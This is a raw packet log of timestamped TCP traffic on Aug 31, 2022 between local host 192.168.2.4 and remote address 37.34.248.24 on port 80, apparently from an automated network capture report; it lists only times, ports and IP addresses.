Aug 31, 2022 14:28:20.379264116 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.379281044 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.379318953 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.379367113 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.380112886 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.380157948 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.380189896 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.380196095 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.380234957 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.380240917 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.381099939 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.381140947 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.381165028 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.381180048 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.381267071 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.382107019 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.382148027 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.382188082 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.382210016 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.382225037 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.382262945 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.383310080 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.383393049 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.383433104 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.383464098 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.383471012 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.383517027 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.384291887 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.384380102 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.384421110 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.384459019 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.384459019 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.384507895 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.385211945 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.385255098 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.385293007 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.385312080 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.385329962 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.385370970 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.386074066 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.386116028 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.386154890 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.386174917 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.386296034 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.386342049 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.386878014 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.387090921 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.387129068 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.387156963 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.388294935 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.388345003 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.388384104 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.388387918 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.388430119 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.388851881 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.389185905 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.389225960 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.389238119 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.389265060 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.389314890 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.390077114 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.390119076 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.390155077 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.390192032 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.390194893 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.390248060 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.391192913 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.391235113 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.391274929 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.391285896 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.392298937 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.392340899 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.392365932 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.392379999 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.392420053 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.392426014 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.392887115 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.392944098 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.392949104 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.392992973 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.393032074 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.393033028 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.394263029 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.394303083 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.394329071 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.394356012 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.394397020 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.394402981 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.395162106 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.395205021 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.395240068 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.395242929 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.395278931 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.395292997 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.396095991 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.396142006 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.396178007 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.396178961 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.396217108 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.396224976 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.397031069 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.397082090 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.397119999 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.397121906 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.397161961 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.397181034 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.398093939 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.398139954 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.398178101 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.398179054 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.398217916 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.398231030 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.399200916 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.399243116 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.399281979 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.399300098 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.399327040 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.399996996 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.400038958 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.400079012 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.400105000 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.400119066 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.400161028 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.401097059 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.401139021 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.401194096 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.401276112 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.401315928 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.401362896 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.402141094 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.402183056 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.402221918 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.402236938 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.402261019 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.402302027 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.403367996 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.403434038 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.403475046 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.403498888 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.403512001 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.403552055 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.404176950 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.404347897 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.404392004 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.404426098 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.404433012 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.404475927 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.404978991 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.405020952 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.405060053 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.405102015 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.405105114 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.405169010 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.405975103 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.406182051 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.406227112 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.406266928 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.406267881 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.406305075 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.406316996 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.406981945 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.407021999 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.407061100 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.407068014 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.407108068 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.408123970 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.408168077 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.408235073 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.408504963 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.409080982 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.409122944 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.409156084 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.409162045 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.409202099 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:20.409214973 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.574624062 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:20.991782904 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.072019100 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.160430908 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.160470963 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.160501003 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.160530090 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.160556078 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.160597086 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.161199093 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.161221027 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.161269903 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.161392927 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.161416054 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.161468983 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.162017107 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.162046909 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.162085056 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.162096024 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.162122011 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.162182093 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.162956953 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.163024902 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.163086891 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.164211035 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.164239883 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.164277077 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.164311886 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.164334059 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.164349079 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.164380074 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.164952040 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.164984941 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.165066004 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.165175915 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.165220976 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.165230989 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.166105032 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.166136026 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.166173935 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.166173935 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.166204929 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.166227102 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.167167902 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.167220116 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.167253017 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.167290926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.167340040 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.167370081 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.167397976 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.167450905 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.168380022 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.168409109 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.168436050 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.168488026 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.169168949 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.169198990 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.169225931 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.169250965 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.169254065 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.169277906 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.170133114 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.170161963 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.170188904 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.170214891 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.170224905 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.170249939 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.171024084 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.171066046 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.171097040 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.171106100 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.171124935 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.171150923 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.172030926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.172070980 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.172106981 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.173310995 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.173347950 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.173408031 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.174401045 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.174436092 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.174499035 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.175066948 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.175093889 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.175156116 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.175992966 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.176023960 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.176094055 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.200995922 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201025009 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201045036 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201064110 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201065063 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201083899 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201086998 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201103926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201123953 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201145887 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201148033 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201169968 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201189995 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201196909 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201210976 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201225042 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201232910 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201253891 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201256037 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201275110 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201294899 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201294899 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201314926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201333046 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201334953 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201354980 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201369047 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201412916 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201432943 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201452971 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201466084 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201472044 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201492071 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201497078 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201512098 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201533079 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201540947 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201553106 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201571941 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201579094 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201591015 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201612949 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201615095 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201652050 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201675892 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201697111 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201715946 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201735020 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201736927 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201756001 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201776028 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201781034 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201796055 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201818943 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201838017 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201855898 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201858044 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201863050 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201878071 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201896906 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201906919 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.201916933 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.201945066 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.202197075 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202224970 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202248096 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202260017 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.202272892 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202296972 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.202296972 CEST	49721	80	192.168.2.4	37.34.248.24
